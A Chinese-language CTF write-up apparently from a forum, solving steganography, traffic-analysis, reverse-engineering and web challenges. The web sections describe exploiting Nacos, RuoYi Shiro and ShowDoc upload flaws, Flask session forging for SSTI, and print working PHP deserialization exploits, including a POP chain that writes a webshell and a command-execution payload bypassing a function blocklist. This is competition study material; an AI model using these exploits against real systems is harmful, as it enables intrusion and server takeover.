以下题目没有做出来,如果是找下面几道题目的题解的话就不用浪费时间了
MISC: Cryptography
AWD: 小小bypass; 什么注?; 夺宝
用到的工具都在附件里
图片中藏了个zip
后缀改 zip 得到
有两个长得一样的图片
联想到双图隐写
使用盲水影工具 blindwatermark 得到水印图
工具需要安装opencv
pip install opencv-python
分解命令:
python bwmforpy3.py decode 原图 信息图 flag.png --oldseed
能看到
key:Ctf-Game-start
将key作为密码解压flag.txt
得到 flag
下载图片拖到winhex打开后
看到翻转过来的文件头
推测是将文件8个字节为一组,反转字节
python脚本:
文件名叫 RGB 里又秘密
使用工具Stegsolve 打开
将RGB通道的字节全部勾选上
发现显示出来的内容是一个ZIP文件的样式
保存为ZIP文件
得到flag
4 流量分析
过滤 http 流量
发现利用sql注入上传了木马
追踪木马流量发现flag(ctf_game).zip
下一个报文下载了 PK 头文件,其中含有flag.txt 文件
将数据转换为原始数据
过滤服务器发送回来的数据包
另存为后得到zip文件
将 ctf_game 作为密码打开加密文件flag.txt
得到flag
用IDA打开文件
程序首先判断我们输入的内容长度是否为 33
不是则跳转
这里可以推断出flag长度是33位
再看后面的逻辑
输入内容每一位要跟前一个字符异或
异或后跟 global 字符串对比
相同输出 Success
那么跟踪 global 字符串
将内容复制下来
python脚本:
输出结果:
用IDA打开
关键部分逻辑:
s是我们输入的字符串
我们输入的字符串会与 i(下标) 进行异或运算
也就是第一个字符异或0
第二个字符异或1
以此类推
进入compare函数
首先写了 a1 长度如果不等于32位
直接报错
依此得出,flag长度为32位
然会和 final 中的字符依次比较
找到 final 字符串
将内容复制下来
写个脚本恢复
python脚本:
输出结果:
nacos
利用nacos未授权注册账号
然后登录
flag在配置列表中
现在没有,应该是被谁删了
若依CMS
题目提示了4.5版本
4.5版本存在前台shiro rememberMe漏洞
使用工具 LiqunKit 一把梭
根据title可以看到CMS名称叫showdoc
showdoc存在任意文件上传漏洞
构造数据包上传木马
连接
进去之后点忘记密码会提示默认管理员账号密码
输入错误的账号密码会提示错误
用正确的账号密码没有反应
抓包
截取返回包
发现这里是302
改成200
尝试访问/home
同样的截取返回包
发现有后台内容
但是返回响应仍然是302
改成200
成功进入
但是后续点击什么按钮
都会像上面一样
返回正常内容但是报302
在burp中更改设置
这样burp就会帮我们自动修改响应包里的内容了
点击产品列表
新增产品
发现可以上传图片
尝试上传木马
上传成功并给出了木马路径
使用蚁剑连接
修改html,使得可以输入3位
提交 100
在回答正确的消息头中发现flag
在计算器界面输入 ssti 的payload
因为开启了debug模式
会报错并显示app.py文件的内容
将html复制到文件中打开
效果如下
阅读代码发现存在 admin 路由
并且泄露了key
同时也可以看到其中启用了session
访问admin路由提示需要登录
利用工具 flasksessioncookiemanager 中的代码
复制下来
把 if “_name” == __main 那段删掉
然后添加如下代码
qwe是ssti的payload
原本 qwe 在测试是是一个用户名 admin
我用这个session 登录后提示我
hello admin
联想到此处可能存在ssti
然后将 admin 改成 {{ 3 * 3}}
是将生成session值中的 admin 进行修改
发现显示
hello 9
可以运算
存在ssti
然后换成上面的payload开始利用
flag 在 flag.py 中
程序有两个点
第一个是不能以O开头
就是最下面if那些
第二个点是
eval() 中,会拼接 givemegirlfriend! 字符串
解决办法是
1 通过 php 的内置类 splstack 产出开头是 C 的序列化数据
2 用 __halt_compiler(); 中断编译器的执行,从而绕过后面的字符串
payload 如下
<?php
class evil{
public $cmd;
public $a;
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);
链式反序列化
题目代码
<?php
class A
{
public $hacker;
public function __toString()
{
echo $this->hacker->name;
return "";
}
}
class C
{
public $finish;
public function __get($value)
{
$this->finish->hacker();
echo 'nonono';
}
}
class E
{
public $hacker;
public function __invoke($parms1)
{
echo $parms1;
$this->hacker->welcome();
}
}
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class K
{
public $func;
public function __call($method,$args)
{
call_user_func($this->func,'welcome');
}
}
class R
{
private $method;
private $args;
public function welcome()
{
if ($this->key === true && $this->finish1->name) {
if ($this->finish->finish) {
call_user_func_array($this->method,$this->args);
}
}
}
}
function nonono($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
return preg_replace($filter,'',$a);
}
if (isset($_POST["po_p.er"])){
unserialize(nonono($_POST["po_p.er"]));
}else{
show_source(__FILE__);
}
?>
exp关键部分
<?php
class R
{
private $method = 'file_put_contents';
private $args= array('5.php', '<?php @include($_REQUEST["abandon"]);?>');
}
$a = new H();
$a -> username = new A();
$a -> username -> hacker = new C();
$a -> username -> hacker -> finish = new K();
$a -> username -> hacker -> finish -> func = new E();
$a -> username -> hacker -> finish -> func -> hacker =new R();
$a -> username -> hacker -> finish -> func -> hacker -> key = true;
$a -> username -> hacker -> finish -> func -> hacker -> finish1 = new C();
$a -> username -> hacker -> finish -> func -> hacker -> finish1 -> name = 1;
$a -> username -> hacker -> finish -> func -> hacker -> finish = new C();
$a -> username -> hacker -> finish -> func -> hacker -> finish -> finish = 1;
echo urlencode(serialize($a));
利用回调函数写木马
再用木马找flag
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 200.00 | 0 | 2023-12-06 19:07:32 | 200 wp |
打赏我,让我更有动力~
BlindWaterMark-master.zip 文件大小:2.897M (下载次数:0) 售价:5
Stegsolve.zip 文件大小:0.069M (下载次数:0) 售价:5
flask_session_cookie_manager3.zip 文件大小:0.001M (下载次数:0) 售价:5
LiqunKit_1.5.zip 文件大小:42.045M (下载次数:0) 售价:20
© 2016 - 2024 掌控者 All Rights Reserved.